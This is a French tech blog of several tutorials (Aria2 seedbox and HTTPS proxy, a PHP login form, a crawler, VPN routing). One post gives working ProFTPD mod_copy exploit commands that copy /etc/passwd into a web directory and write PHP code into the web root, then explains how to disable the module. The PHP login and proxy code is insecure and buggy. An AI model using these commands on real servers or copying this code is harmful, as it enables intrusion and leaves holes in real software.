Aria2-webUI en HTTPS !

Dans un article précédent je vous avais présenté Aria2, un client de téléchargement très léger. Nous avions également vu comment mettre en place une interface web grâce au projet de ziahamza : https://github.com/ziahamza/webui-aria2 .

Voici un schéma du mode de fonctionnement de notre plateforme :

Diagramme1

Lorsque l’on se connecte à l’interface web, on récupère la page via le port 80 de notre serveur. Dans la page est contenue du code JavaScript qui va permettre de communiquer avec le RPC d’Aria en envoyant des appels AJAX sur le port 6800 par défaut.

Mais que se passerait-il si l’on passait notre site en HTTPS ?

Diagramme2

Ça ne marcherait simplement pas. En effet, comme le site est en HTTPS, il requiert d’avoir tout son trafic transitant sur le même port.. et c’est là que commence la bidouille !

On va créer un script PHP sur notre serveur qui va être chargé de communiquer avec le RPC d’Aria (qui va donc envoyer des requêtes à localhost:6800) et c’est vers ce script PHP que nous enverrons nos requêtes AJAX, cette fois sur le port 443 !

Tout d’abord, on va créer une classe Aria2 :

<?php
class Aria2
{
    protected $ch;
    
    public function __construct()
    {
        $this->ch = curl_init();
        curl_setopt_array($this->ch, [
            CURLOPT_RETURNTRANSFER=>true,
            CURLOPT_HEADER=>false
        ]);
    }
    
    public function __destruct()
    {
        curl_close($this->ch);
    }
    
    // Construction de l'URL à requêter à partir du tableau de paramètres
    protected function req($data)
    {
        $url = 'http://127.0.0.1:6800/jsonrpc?';
        foreach ($data as $c => $d)
        {
            $url .= $c . '=' . $d . '&';
        }
        $url = substr($url, 0, -1);

        curl_setopt($this->ch, CURLOPT_URL, $url);        
        return curl_exec($this->ch);
    }
    
    // On parcourt les POST et on construit un appel vers le RPC
    public function multicall()
    {
        $data = array();
        foreach($_POST as $c => $g)
        {
            $data[$c] = $g;
        }
        $response = $this->req($data);
        if($response===false) {
            trigger_error(curl_error($this->ch));
        }
        return $response;
    }
}
?>

Et un fichier jsonrpc.php :

<?php
   require('Aria2.php');
   $aria = new Aria2();
   echo $aria->multicall();
?>

Il ne nous reste plus qu’à modifier le fichier jsoncall.js présent dans le dossier /var/www/aria2webui/js/service/rpc/ comme suit :

angular
  .module('webui.services.rpc.jsoncall', [
    'webui.services.deps', 'webui.services.base64'])
  .factory('$jsoncall', ['$', '$json', '$base64', function($, JSON, base64) {
  return {
    init: function(conf) {
      this.avgTimeout = 2000;
      this.serverConf = conf;
    },
    encode: function(obj) {
      return base64.btoa( JSON.stringify(obj) );
    },
    ariaRequest: function(url, funcName, params, success, error) {
      var startTime = new Date();
      var conn = this;
      $.ajax({
        url: url,
        timeout: this.avgTimeout,
		method:'POST', // Les requêtes sont maitenant envoyées en POST
        data: {
          jsonrpc: 2.0,
          id: 'webui',
          method: funcName,
          params: params && params.length ? this.encode(params) : undefined
        },
        success: function(data) {
          conn.avgTimeout =  2000 + 3 * (new Date() - startTime);
          return success(data);
        },
        error: error,
        dataType: 'JSON' // Et on n'a plus besoin de passer par JSONp (même domaine)
      });
    },
    invoke: function(opts) {
      var rpc = this;
      var scheme = rpc.serverConf.encrypt ? 'https' : 'http';
      rpc.ariaRequest(
        'jsonrpc.php',
        opts.name,
        opts.params,
        opts.success,
        function() {
          // check if authentication details are given, if yes then use a 
          // hack to support http authentication otherwise emit error
          if (!rpc.serverConf.auth || !rpc.serverConf.auth.user) {
            console.log("jsonrpc disconnect!!!");
            return opts.error();
          }

          var authUrl = 'jsonrpc.php';

          // hack is to basically inject an image with same uri as the aria2 rpc url,
          // most browsers will then cache the authentication details and we dont have
          // to give them next time we make a request
          // var img = $('img').attr("src", authUrl);
          // $('body').append(img);
          // img.remove();
          
          // -> Plus besoin de hack, l'authentification peut être gérée
          // au niveau de jsonrpc.php (par exemple avec la $_SESSION)

          // timeout to let the image load and then make a request,
          setTimeout(function() {
            rpc.ariaRequest(
              authUrl,
              opts.name,
              opts.params,
              opts.success,
              function() {
                console.log("jsonrpc disconnect!!!");
                return opts.error();
              }
            );
          }, rpc.avgTimeout);
        }
      );
    }
  };
}]);

Petite vérification avec Firebug :

firebug

Victoire !

Sécuriser un formulaire d’authentification

Dans cet article nous allons voir comment sécuriser un formulaire d’authentification tout ce qu’il y a de plus basique.
Parlons peu, parlons bien, voilà le formulaire :

<?php
   session_start();
   if(
      isset($_POST['login'], $_POST['password'])
      && $_POST['login'] == 'toto'
      && $_POST['password'] == 'toto123'
   )
   {
      $_SESSION['connecte'] = 1;
   }
?>
<form action="#" method="POST">
   <input type="text" name="login" />
   <input type="password" name="password" />
   <input type="submit" value="Connexion" />
</form>

Ce formulaire envoi dans une requête « POST » les champs « login » et « password » et si ceux-ci valent respectivement « toto » et « toto123 » on est connecté.

Le problème est que rien n’empêche un assaillant de bruteforcer le formulaire. Dans ce cas précis, l’assaillant essaierait toutes les combinaisons possibles d’identifiant/mot de passe en envoyant des requêtes POST en masse à notre pauvre page d’authentification.

Pour le ralentir, on va rajouter un champ caché que l’on va nommer « csrf » pour Cross Site Request Forgery. L’idée est simple : ce champ a une valeur aléatoire que l’on définit lors de la construction du formulaire et que l’on stocke en $_SESSION. Lorsque la page traitera des requêtes POST d’authentification elle vérifiera que le champ « csrf » est bien égal à la valeur stockée en session :

<?php
   session_start();
   // On a notre nouvelle contrainte sur la valeur du champ "csrf"
   if(
      isset($_POST['login'], $_POST['password'], $_POST['csrf'])
      && $_POST['login'] == 'toto'
      && $_POST['password'] == 'toto123'
      && $_POST['csrf'] == $_SESSION['csrf']
   )
   {
      $_SESSION['connecte'] = 1;
   }
   // On génère une nouvelle valeur pour $csrf que l'on stocke en $_SESSION
   $csrf = base64_encode(uniqid(rand(), true));
   $_SESSION['csrf'] = $csrf;
?>
<form action="#" method="POST">
   <input type="text" name="login" />
   <input type="password" name="password" />
   <input type="hidden" name="csrf" value="<?php echo $csrf; ?>" />
   <input type="submit" value="Connexion" />
</form>

Notre assaillant ne peux plus nous bruteforcer avec une aussi grande vélocité, il est maintenant obligé pour chaque tentative de connexion de crawler (lire) notre page d’authentification. Mais pour une raison inconnue, celui-ci persiste.
Afin de l’empêcher de trouver notre mot de passe (très très compliqué) on va encore incrémenter la sécurité de notre formulaire en stockant les adresses IP des personnes essayant de s’authentifier et en limitant le nombre de tentative de connexion à 3 toutes les heures.
On créé donc notre table visiteurs :

CREATE TABLE visiteurs(
ip VARCHAR(15),
date TIMESTAMP,
tentatives INTEGER
);

Et on modifie notre page :

<?php
   session_start();
   $connexion = mysqli_connect('127.0.0.1', 'mysql', 'mdp', 'db_site');
   
   // On commence par récupérer le nombre de tentative de connexion
   // durant la dernière heure dans notre table avec l'adresse IP du visiteur 
   $requete = "SELECT tentatives 
               FROM visiteurs 
               WHERE ip = '{$_SERVER['REMOTE_ADDR']}' 
               AND date > " . (date() - 3600);
   $ressource = mysqli_query($connexion, $requete);
   if ( ($ligne = mysqli_fetch_assoc($ressource)) == false )
   {
      $tentatives = 0;
   }
   else
   {
      $tentatives = $ligne['tentatives'];
   }
   
   // On vérifie si on avait déjà enregistré l'adresse IP du visiteur
   $requete = "SELECT * FROM visiteurs WHERE ip = '{$_SERVER['REMOTE_ADDR']}'";
   $ressource = mysqli_query($connexion, $requete);
   $insert = ( ($ligne = mysqli_fetch_assoc($ressource)) == false );
   $tentatives++;
   if ($insert)
   {
      $requete = 'INSERT INTO visiteurs (date, tentatives) 
                  VALUES (' . date() . ', ' . $tentatives . ')';
   }
   else
   {
      $requete = 'UPDATE visiteurs 
                  SET date = ' . date() . ",
                  tentatives = $tentatives 
                  WHERE ip = '{$_SERVER['REMOTE_ADDR']}'; 
   }
   mysqli_query($connexion, $requete);

   // Et on à maintenant notre nouvelle contrainte sur le nombre de
   // tentatives de connexion
   if(
      isset($_POST['login'], $_POST['password'], $_POST['csrf'])
      && $_POST['login'] == 'toto'
      && $_POST['password'] == 'toto123'
      && $_POST['csrf'] == $_SESSION['csrf']
      && $tentatives < 3 
   )
   {
      $_SESSION['connecte'] = 1;
   }
   $csrf = base64_encode(uniqid(rand(), true));
   $_SESSION['csrf'] = $csrf;
?>
<form action="#" method="POST">
   <input type="text" name="login" />
   <input type="password" name="password" />
   <input type="hidden" name="csrf" value="<?php echo $csrf; ?>" />
   <input type="submit" value="Connexion" />
</form>

On a maintenant un formulaire de connexion un peu plus sécurisé !

La dernière chose qu’il nous resterait à faire serait maintenant de configurer notre serveur web afin d’utiliser uniquement le protocole HTTPS. En effet, lorsque l’on utilise le protocole HTTP toutes les informations sont transmises en clair sur le réseau et donc si nous sommes connectés à un réseau non sécurisé, ces informations pourraient être récupérées.. à suivre !

ProFTPD : Attention à la faille CPTO !

Dans ce court ticket je vais vous présenter une faille présente dans les versions 1.3.4a et 1.3.5 de ProFTPD. ProFTPD est un serveur FTP extrêmement sécurisé… seulement… il a connu quelques déboires pendant son développement. Dans la version 1.3.3c une backdoor avait été implantée dans les sources, permettant de se connecter à n’importe quel serveur FTP en tapant la commande « ACIDBITCHEZ » (ce n’est pas une blague). Les version 1.3.4a et 1.3.5 souffrent également d’un bug dans le module « mod_copy » présent par défaut.
Voilà comment le détecter :

telnet ftp.vulnerable.com 21
220 ProFTPD 1.3.4a Server (ftp.vulnerable.com) [85.143.12.172]

site help
214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR  pathname
214-CPTO  pathname
214-UTIME  YYYYMMDDhhmm[ss]  path
214-SYMLINK  source  destination
214-RMDIR  path
214-MKDIR  path
214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect
214-QUOTA
214-HELP
214-CHGRP
214-CHMOD
214 Direct comments to root@www01a

Ici, le mod_copy est activé. Comment l’exploiter ?

site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /var/www/vulnerable.com/uploads/images/passwd.png

Mais là n’est pas le plus beau ! Si on copie-colle un fichier dans une chaine de caractère, ça plante. Et le code de l’erreur ainsi que la fameuse chaine de caractère se retrouvent dans le fichier /proc/self/fd/3 …
Un exemple ?

site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php

Autant dire que c’est la porte ouverte aux portes dérobées (une histoire de portes quoi !). Comment s’en protéger me demanderez-vous ? Simplement en désactivant ce mod. Dans le dossier /etc/proftpd vous trouverez un fichier modules.conf listant tous les modules chargés dans ProFTPD, vous n’avez alors plus qu’à commenter la ligne « LoadModule mod_copy.c » (avec un # en début de ligne) :

sed -i 's/^LoadModule mod_copy.c/# LoadModule mod_copy.c/g' /etc/proftpd/modules.conf

Renommer ses séries à la volée

Voilà un petit script python qui devrait vous faire gagner pas mal de temps si vous êtes comme moi légèrement maniaque avec le nom des fichiers de vos séries.

Celui-ci prend en paramètre un dossier et un nom de série et va grâce à une petite regex renommer vos fichiers de série à la volée. Comme d’habitude, un petit exemple vaut mieux que de longs discours :

ins0@mars:~ ./rename_series.py --path /media/disk/lalala  --name LaLaLa
/media/disk/lalala/[ www.cdujoli.com ]lalala.BDrip.S01E01.tmp.mkv ->
  /media/disk/lalala/LaLaLa S01E01.mkv
/media/disk/lalala/lalala.BDrip.S01E02.tmp.avi ->
  /media/disk/lalala/LaLaLa S01E02.avi
/media/disk/lalala/[ www.cdujoli.com ]lalala.BDrip.S01E03.avi ->
  /media/disk/lalala/LaLaLa S01E03.avi

Voilà son code !

#!/usr/bin/python2.7

import os
import sys
import getopt
import re

__usage__ = '''
Rename series files using regexp 
Usage   : ''' + os.path.basename(sys.argv[0]) + ''' [Options]
Options : path : Files path
	  name : Serie name
'''

def parse_args(argv):
	path = '.'
	name = ''
	try:
		opts, args = getopt.getopt(argv,
			'hp:n:',
			[
				'path=',
				'name='
			]
			)
	except getopt.GetoptError:
		usage()
		sys.exit(2)

	for opt, arg in opts:
		if opt == '-h':
			usage()
			sys.exit()
		elif opt in ('-p', '--path'):
			path = arg
		elif opt in ('-n', '--name'):
			name = arg
	renomme(path, name)

def usage():
	print __usage__

def renomme(path, name):
	for src in os.listdir(path):
		extension = src.split('.')[-1];
		episode = re.search('S[0-9]{1,2}E[0-9]{1,2}', src, re.IGNORECASE)
		if episode:
			dst = name + ' ' + episode.group(0) + '.' + extension
			print src + ' -> ' + dst
			os.rename(path + src, path + dst)

if __name__ == '__main__':
	parse_args(sys.argv[1:])

Monter sa SeedBox avec Aria2

ariaNous allons voir dans cet article comment installer et configurer Aria2 avec une interface web. Aria2 est un client extrêmement léger qui permet de télécharger des fichiers via les protocoles HTTP, HTTPS, FTP, torrent et même métalink ! A l’attaque !

apt-get install aria2

Allez dans le dossier /etc/ et créez un dossier aria2 :

cd /etc/ && mkdir aria2

Dans ce dossier on va créer un fichier de configuration pour aria :

cd /etc/aria2/ && touch aria.conf

Éditez le comme suit :

# On reprend les téléchargements préalablement lancés
continue
# On lance aria en tâche de fond
daemon=true
# Dossier où sont stockés les téléchargements
dir=/media/disk/Downloads/Seed
# Fichier où sont stockés les sessions
input-file=/var/log/aria2/session.txt
save-session=/var/log/aria2/session.txt
# Intervalle de temps entre 2 sauvegarde de session
save-session-interval=20
# Type d'allocation d'espace sur le disque
file-allocation=falloc
# Niveau d'alerte des log
log-level=warn
# Nombre de connections simultanées à un serveur
max-connection-per-server=3
# Nombre maximum de téléchargements en même temps
max-concurrent-downloads=100
# Bande passante maximum (0 = aucune) en téléchargement
max-overall-download-limit=0
# Aria découpe les fichiers pour les télécharger en parallèle,
# dans ce cas on découpe les fichiers s'ils font plus de 5 Mo
min-split-size=5M

# On va communiquer avec aria grâce à son RPC, une interface 
# pour communiquer en XML ou JSON
enable-rpc=true
# Le RPC réponds à toutes les adresses IP
rpc-listen-all=true
# Le RPC écoute sur le port 6800
rpc-listen-port=6800
# L'identifiant de connexion au RPC
rpc-user=xxx
# Le mot de passe de connexion au RPC
rpc-passwd=xxx
# Configuration de DHT qui permet de récupérer des informations 
# sur les torrents sans tracker
dht-listen-port=6881
enable-dht=true
# On autorise l'échange de pairs
enable-peer-exchange=true
# Port d'écoute de DHT
listen-port=6881

# Nombre de pairs maximum
bt-max-peers=55
# Timeout de connection à un tracker (en secondes)
bt-tracker-connect-timeout=10
# Intervalle de renouvellement des trackers
bt-tracker-interval=900
# Timeout des trackers (en secondes)
bt-tracker-timeout=10
# Ratio de seed avant qu'un téléchargement soit considéré comme complet
seed-ratio=10.0
# Cache utilisé par aria
disc-cache=32M

On va se rajouter un petit script pour pouvoir utiliser aria en tant que service. Placez vous dans le dossier /etc/init.d/ et créez un fichier aria2 que vous rendrez exécutable :

cd /etc/init.d/ && touch aria2 && chmod +x aria2

Éditez le comme suit :

#! /bin/sh
 
### BEGIN INIT INFO
# Provides: aria2cRPC
# Required-Start: $network $local_fs $remote_fs
# Required-Stop: $network $local_fs $remote_fs
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: aria2c RPC init script.
# Description: Starts and stops aria2 RPC services.
### END INIT INFO
 
RETVAL=0
case "$1" in
 start)
 echo -n "Starting aria2 daemon..."
 # Sans VPN
 aria2c --conf-path=/etc/aria2/aria.conf
 # Avec un VPN (si vous avez suivi le précédent tuto ^^)
 # su vpn -c "aria2c --conf-path=/etc/aria2/aria.conf"
 RETVAL=$?
 echo
 ;;
 stop)
 echo -n "Shutting down aria2 daemon..."
 /usr/bin/killall aria2c
 RETVAL=$?
 echo
 ;;
 restart)
 stop
 sleep 3
 start
 ;;
 *)
 echo $"Usage: $0 {start|stop|restart}"
 RETVAL=1
esac
exit $RETVAL

On peut maintenant démarrer ou arrêter aria comme un service, ie :

service aria2 start
Starting aria2 daemon...
service aria2 stop
Shutting down aria2 daemon...

Ou le lancer automatiquement au démarrage :

update-rc.d aria2 defaults

C’est bien joli me direz-vous, mais comment fait on pour rajouter des téléchargements ? Et bien, étant donné que nous avons configuré aria pour être commandé par son RPC, on va récupérer une interface web qui va se charger de communiquer avec ce RPC.

Récupérons donc une interface web pour aria. Je suppose que vous avez un serveur Apache ou Nginx fonctionnel. On se place dans le dossier /var/www/ :

cd /var/www/

Et on récupère l’interface web (je vous propose celle de ziahamza qui est à mon sens la plus aboutie : https://github.com/ziahamza/webui-aria2 ) :

git clone https://github.com/ziahamza/webui-aria2 aria2webui

Si vous n’avez pas git :

apt-get install git

Vous n’avez plus qu’a vous rendre à l’adresse http://localhost/aria2webui et vous pourrez enfin télécharger des images de Linux dans de bonnes conditions !

MultiCurl : crawler le web en ligne de commande

la-technique-du-crawl-a-bras-tendus-14724-600-600-FBonjour à tous,

Dans cet article je vais vous présenter un outil que j’ai conçu (en m’inspirant d’un autre outil d’une team de hacker brésilien, ndlr) il y a quelques temps pour crawler (récupérer le contenu de pages web) en ligne de commande.

Cet outil se nomme MultiCurl, et vous pouvez récupérer son code sur GitHub à l’adresse https://github.com/Insomniak313/MultiCurl

wget https://raw.githubusercontent.com/Insomniak313/MultiCurl/master/multicurl.php && chmod +x multicurl.php

Il y a 2 modes d’utilisation de cet outil : simple (-s ou –action simple) ou à travers Google (-g ou –action google) et par défaut, MultiCurl ne récupère que les URL dans les pages. Je vous montre !
Voilà une recherche simple :

./multicurl.php -s -q hehackedmy.wordpress.com

http://gmpg.org/xfn/11
https://hehackedmy.wordpress.com/xmlrpc.php
https://hehackedmy.wordpress.com/feed/
https://hehackedmy.wordpress.com/comments/feed/
https://hehackedmy.wordpress.com/xmlrpc.php?rsd
https://s1.wp.com/wp-includes/wlwmanifest.xml
https://hehackedmy.wordpress.com/osd.xml
https://s1.wp.com/opensearch.xml
https://hehackedmy.wordpress.com/
https://secure.gravatar.com/avatar/f454f31185e86b14f355cf41768a2d8b?s=100
http://facebook.com/
http://twitter.com/wordpressdotcom
http://dribbble.com/automattic
https://hehackedmy.wordpress.com/2016/04/20/monitorer-son-reseau-avec-jnettop/
https://hehackedmy.wordpress.com/author/insomniak313/
https://hehackedmy.wordpress.com/category/uncategorized/
https://hehackedmy.wordpress.com/2016/04/20/monitorer-son-reseau-avec-jnettop/#comments
https://hehackedmy.wordpress.com/2016/04/20/router-une-seule-application-vers-son-vpn/
https://hehackedmy.wordpress.com/category/reseaux/
https://hehackedmy.wordpress.com/category/linux/
https://hehackedmy.wordpress.com/2016/04/20/router-une-seule-application-vers-son-vpn/#respond
https://wordpress.com/?ref=footer_website
https://wordpress.com/themes/independent-publisher/
https://wordpress.com/?ref=footer_blog
https://hehackedmy.wordpress.com/
...

Et une recherche sur Google :

./multicurl.php -g -q lolcatz
https://www.youtube.com/results?q=lolcatz
http://www.buzzfeed.com/scottybryan/you-can-change-the-language-setting-on-twitter-to-lolcatz
https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcQHKvU04sLlWP5led3Pzs5BZWY6yMzvvxGMOH0C3X_1RC4ZmfmMdGAJM1k
https://twitter.com/lolcatz0368
https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcRvtd04GA2UaasNyIds3TytoaPHE2cjdXjmze84ZwkDyE5-uhFllgptKQ
http://photobucket.com/images/lolcatz
https://lolcatz.wordpress.com/
http://www.lolcats.com/
http://www.lolcats.com/page-2.html
http://www.lolcats.com/gallery/popular.html
http://www.lolcats.com/popular/51791-taste-good-but-i-cant-feel-my-whiskers.html
http://www.lolcats.com/page-48.html
http://www.urbandictionary.com/define.php?term=lolcatz
https://en.wikipedia.org/wiki/Lolcat
http://www.theregister.co.uk/2013/02/12/twitter_lolcatz/
https://twitter.com/search?q=%23lolcatz
http://knowyourmeme.com/memes/lolcats
http://hubpages.com/entertainment/PotterLOLZ
http://www.thefreedictionary.com/Lolcatz
http://www.baremettle.com/forums/index.php?threads/lolcatz.2316/page-4
http://www.baremettle.com/forums/index.php?threads/lolcatz.2316/page-10
...

De plus, et là ça devient intéressant, vous pouvez piper le résultat d’un MultiCurl vers MultiCurl himself pour enchainer les recherches :

Dans l’exemple qui suit, on ne récupère pas toutes les URLs présentent dans Google quand on recherche « lolcatz » mais toutes les URLs présentent dans les pages renvoyés par le recherche :

./multicurl.php -g -q lolcatz | ./multicurl.php -s
https://en.wikipedia.org/wiki/Lolcat
https://www.mediawiki.org/wiki/Special:MyLanguage/Extension:TimedMediaHandler/Client_download
http://obeythekitty.com/
http://www.chron.com/disp/story.mpl/business/4862013.html
http://online.wsj.com/article/SB118798557326508182.html
http://www.freep.com/article/20070518/FEATURES10/70518038/On-Web-Cat-lovers-laugh-out-loud-crazy-kitty-humor
http://www.photohistory-sussex.co.uk/BTNPointerCats.htm
http://io9.com/5900334/even-in-the-1870s-humans-were-obsessed-with-ridiculous-photos-of-cats
http://www.thestar.com/living/article/257955
http://www.thestar.com/
https://web.archive.org/20071117142809/http://media.www.dailypennsylvanian.com:80/media/storage/paper882/news/2007/11/14/News/Iz.Not.Cats.Everywhere.Online.Trend.Spreads.Across.Campus-3099929.shtml
http://media.www.dailypennsylvanian.com/media/storage/paper882/news/2007/11/14/News/Iz.Not.Cats.Everywhere.Online.Trend.Spreads.Across.Campus-3099929.shtml
...

Bon crawl à tous et n’oubliez pas les bonnets de bain !

Monitorer son réseau avec jnettop

jnettop est un outil pour monitorer votre trafic réseau en proposant une vision interface par interface des paquets.

Pour l’installer on fait comme d’hab !

apt-get install jnettop

Ensuite pour visualiser le trafic en cours sur les différentes interfaces, tapez (il vous faudra avoir des droits root) :

jnettop

putty

Vous pouvez alors à l’aide des touches 1, 2, 3, 4… changer d’interface.

A vous le suivi des paquets !

Rerouter une partie du réseau vers son VPN

vpn_transPour le premier article de ce blog nous allons voir comment mettre en place un VPN avec OpenVPN et comment router non pas tout votre trafic vers ce tunnel VPN (je suppose que vous savez déjà le faire) mais uniquement une partie que vous pourrez choisir.

Nous allons pour cela mettre en place une politique de routage permettant qu’un certain utilisateur (on va l’appeler « vpn » pour faire original) ait tout son traffic rerouté vers le VPN.

Tout d’abord installez OpenVPN et resolvconf :

apt-get install openvpn resolvconf

Récupérez ensuite sur le site de votre provider VPN les fichiers de configuration d’OpenVPN. Placez les dans le dossier

/etc/openvpn/

Dans le fichier votrevpn.ovpn, assurez vous d’avoir les lignes suivantes (et surtout celle en rouge qui permet de ne pas modifier notre routage des paquets !) :

client
dev tun
resolv-retry infinite
persist-key
persist-tun
daemon openvpn
route-nopull

Toujours dans le dossier /etc/openvpn/, créez le fichier update-resolv-conf et rendez le executable :

cd /etc/openvpn/
touch update-resolv-conf
chmod +x update-resolv-conf

Editez le fichier comme suit :

#!/bin/bash
# 
# Parses DHCP options from openvpn to update resolv.conf
# To use set as 'up' and 'down' script in your openvpn *.conf:
# up /etc/openvpn/update-resolv-conf
# down /etc/openvpn/update-resolv-conf
#
# Used snippets of resolvconf script by Thomas Hood <jdthood@yahoo.co.uk> 
# and Chris Hanson
# Licensed under the GNU GPL.  See /usr/share/common-licenses/GPL. 
#
# 05/2006 chlauber@bnc.ch
# 
# Example envs set from openvpn:
# foreign_option_1='dhcp-option DNS 193.43.27.132'
# foreign_option_2='dhcp-option DNS 193.43.27.133'
# foreign_option_3='dhcp-option DOMAIN be.bnc.ch'

[ -x /sbin/resolvconf ] || exit 0

case $script_type in

up)
	for optionname in ${!foreign_option_*} ; do
		option="${!optionname}"
		echo $option
		part1=$(echo "$option" | cut -d " " -f 1)
		if [ "$part1" == "dhcp-option" ] ; then
			part2=$(echo "$option" | cut -d " " -f 2)
			part3=$(echo "$option" | cut -d " " -f 3)
			if [ "$part2" == "DNS" ] ; then
				IF_DNS_NAMESERVERS="$IF_DNS_NAMESERVERS $part3"
			fi
			if [ "$part2" == "DOMAIN" ] ; then
				IF_DNS_SEARCH="$IF_DNS_SEARCH $part3"
			fi
		fi
	done
	R=""
	for SS in $IF_DNS_SEARCH ; do
        	R="${R}search $SS
"
	done
	for NS in $IF_DNS_NAMESERVERS ; do
        	R="${R}nameserver $NS
"
	done
	echo -n "$R" | /sbin/resolvconf -a "${dev}.inet"
	;;
down)
	/sbin/resolvconf -d "${dev}.inet"
	;;
esac

Editez le fichier /etc/iproute2/rt_tables :

echo "200 vpn" >> /etc/iproute2/rt_tables

Créez l’utilisateur vpn :

adduser vpn

Revenez dans le dossier /etc/openvpn/, créez le fichier « firewall.sh » et rendez le executable. Editez le comme suit :

#! /bin/bash

# L'interface du tunnel
export INTERFACE="tun0"
# L'interface locale (RJ45)
export NETIF="eth0"
# L'interface dite de loopback
export LOOPBACK="lo"
# L'utilisateur vpn
export VPNUSER="vpn"
# Tous les IP du réseau local
export LANIP="192.168.0.0/24"

# On vide les tables
iptables -F
iptables -F -t nat
iptables -F -t mangle
iptables -F -t filter

#
#   CHAINES OUTPUT
#

# On marque les paquets que l'on va rerouter vers le VPN
# Tous les paquets provenants de l'utilisateur vpn sont routés vers le VPN
iptables -t mangle -A OUTPUT -m owner --uid-owner $VPNUSER -j MARK --set-mark 0x1
# Les paquets sortants par le ports xxx proviennent de l'utilisateur vpn mais ils 
# ne seront pas routés vers le VPN
iptables -t mangle -A OUTPUT -p tcp --sport xxx   -j MARK --set-mark 0x2

# On rejette les connnections avec une IP de réseau local sur le VPN
iptables -A OUTPUT ! --src $LANIP -o $NETIF -j REJECT

# On autorise l access a lo et a la connexion classique pour l utilisateur $VPNUSER
iptables -A OUTPUT -o $LOOPBACK  -m owner --uid-owner $VPNUSER -j ACCEPT
iptables -A OUTPUT -o $INTERFACE -m owner --uid-owner $VPNUSER -j ACCEPT

#
#   CHAINES POSTROUTING
#

# Tout les paquets sur $INTERFACE doivent être flagués MASQUERADE
iptables -t nat -A POSTROUTING -o $INTERFACE -j MASQUERADE

#
#   CHAINES INPUT
#

# On autorise les réponses
iptables -A INPUT -i $INTERFACE -m conntrack --ctstate ESTABLISHED -j ACCEPT

# On autorise via la connexion classique
# SSH
iptables -A INPUT -i $NETIF -p tcp --dport 22   -j ACCEPT
# HTTP
iptables -A INPUT -i $NETIF -p tcp --dport 80   -j ACCEPT
# HTTPS
iptables -A INPUT -i $NETIF -p tcp --dport 443  -j ACCEPT

# On bloque tout le reste qui arrive sur le VPN
iptables -A INPUT -i $INTERFACE -j REJECT

Toujours dans le dossier /etc/openvpn/, créez le fichier « up.sh » et rendez le executable. Editez le comme suit :

#!/bin/sh

sh /etc/openvpn/firewall.sh

VPNIF="tun0"
VPNUSER="vpn"
GATEWAYIP=`ifconfig $VPNIF | egrep -o '([0-9]{1,3}\.){3}[0-9]{1,3}' | egrep -v '255|(127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})' | tail -n1`
ip rule add from all fwmark 0x1 lookup $VPNUSER
ip route replace default via $GATEWAYIP table $VPNUSER
ip route append default via 127.0.0.1 dev lo table $VPNUSER
ip route flush cache

/etc/openvpn/update-resolv-conf

On arrive à la fin (oui c’est long, courage) !!
On va créer un script se lançant au démarrage et permettant de nous connecter à notre VPN.

Allez dans le dossier /etc/init.d/, créez un fichier vpn.sh et rendez le exécutable. Editez le comme suit :

#!/bin/sh
##     Script de lancement du VPN     ##
### BEGIN INIT INFO
# Provides: inso_startVPN.sh
# Required-Start:   $remote_fs $syslog
# Required-Stop: 
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: script perso VPN
# Description: script de lancement du VPN
#             
### END INIT INFO

openvpn --config /etc/openvpn/votrevpn.ovpn --script-security 2 --up /etc/openvpn/up.sh

Et ajoutez le au démarrage :

update-rc.d vpn.sh defaults

On peut redémarrer, on va enfin tester tout ça !

reboot

Au redémarrage, si tout s’est bien passé vous devriez avoir une nouvelle interface (tun0, on peut lister les interfaces avec la commande « ifconfig »).
Tous les paquets provenant de l’utilisateur vpn sont routés vers cette interface.
Testons !

 ins0@mars:~ curl ifconfig.co
82.68.103.132
 ins0@mars:~ su vpn -c "curl ifconfig.co"
Password:
35.49.113.82

NB: les adresses IP données dans le test final sont fictives ^^